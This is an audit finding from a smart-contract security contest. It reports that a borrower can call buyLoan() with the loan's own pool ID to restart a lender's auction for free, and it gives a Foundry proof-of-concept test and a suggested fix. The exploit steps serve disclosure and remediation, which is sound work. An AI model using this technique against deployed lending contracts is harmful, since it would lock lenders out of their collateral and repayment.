20,000 USDC
View results
Submission Details
Severity: high
Valid

Malicious borrower can restart the loan auction via `buyLoan()` causing the lender to be unable to receive the auction payment or the loan collateral

Summary

Malicious borrower/actor can restart the lender auction causing the lender to be unable to receive the auction payment or the loan's collateral.

Vulnerability Details

The Lender.sol:buyLoan() function helps to anyone to buy a loan which is in auction process. The poolId parameter specify the poolId which will accept the loan.

The problem is that a malicious borrower can call the buyLoan() function using the same loan's poolId as a parameter. I created a test where the malicious borrower can restart the lender auction. Test steps:

  1. Lender1 creates a pool and borrower borrows debt 100/collateral 100 from the Lender1.

  2. Lender1 kicks off the auction.

  3. The borrower maliciously buys the loan using the same old poolID from the Lender1.
    The malicious borrower doesn't need to deposit any token amount.

  4. The Lender1 auction is restarted. The malicious borrower can repeat the process
    causing the lender to be unable to get the collateral.

// test/Lender.t.sol:LenderTest
// $ forge test --match-test "test_maliciousBorrower_restartAuction_viaBuyLoan" -vvv
//
function test_maliciousBorrower_restartAuction_viaBuyLoan() public {
// Malicious borrower can restart the loan auction causing that the lender to be unable to get the collateral
// 1. Lender1 creates a pool and borrower borrows debt 100/collateral 100 from the Lender1.
// 2. Lender1 kicks off the auction.
// 3. The borrower maliciously buys the loan using the same old poolID from the Lender1.
// The malicious borrower doesn't need to deposit any token amount.
// 4. The Lender1 auction is restarted. The malicious borrower can repeat the process
// causing the lender to be unable to get the collateral.
//
// 1. Lender1 creates a pool and borrower borrow debt 100/collateral 100 from the Lender1.
//
test_borrow();
bytes32 poolIdLender1 = lender.getPoolId(lender1, address(loanToken), address(collateralToken));
(,,,,uint256 poolBalance,,,,) = lender.pools(poolIdLender1);
// assert loan debt and pool balance
assertEq(lender.getLoanDebt(0), 100*10**18);
assertEq(poolBalance, 900 * 10**18);
// accrue interest
vm.warp(block.timestamp + 364 days + 12 hours);
//
// 2. Lender1 kicks off the auction.
//
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
vm.prank(lender1);
lender.startAuction(loanIds);
(,,,,,,,,uint256 auctionStartTime,) = lender.loans(0);
assertEq(auctionStartTime, block.timestamp);
// warp to middle of auction
vm.warp(block.timestamp + 12 hours);
//
// 3. The borrower maliciously buys the loan using the same old poolID from the Lender1.
// The malicious borrower doesn't need to deposit any token amount.
//
vm.startPrank(borrower);
lender.buyLoan(0, poolIdLender1);
//
// 4. The Lender1 auction is restarted. The malicious borrower can repeat the process
// causing the lender to be unable to get the collateral.
//
(,,,,,,,,auctionStartTime,) = lender.loans(0);
assertEq(auctionStartTime, type(uint256).max);
// assert loan debt and pool balance
(,,,,poolBalance,,,,) = lender.pools(poolIdLender1);
assertEq(lender.getLoanDebt(0), 110*10**18);
assertEq(poolBalance, 899*10**18);
}

Impact

The malicious borrower/actor can restart the lender auction causing that the lender to be unable to get the loan collateral or to be unable to receive the auction payment. The malicious borrower/actor does not need to deposit money to perform the attack.

Tools used

Manual review

Recommendations

Validates that the pool which will accept the new loan is not the same pool which has the loan assigned.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.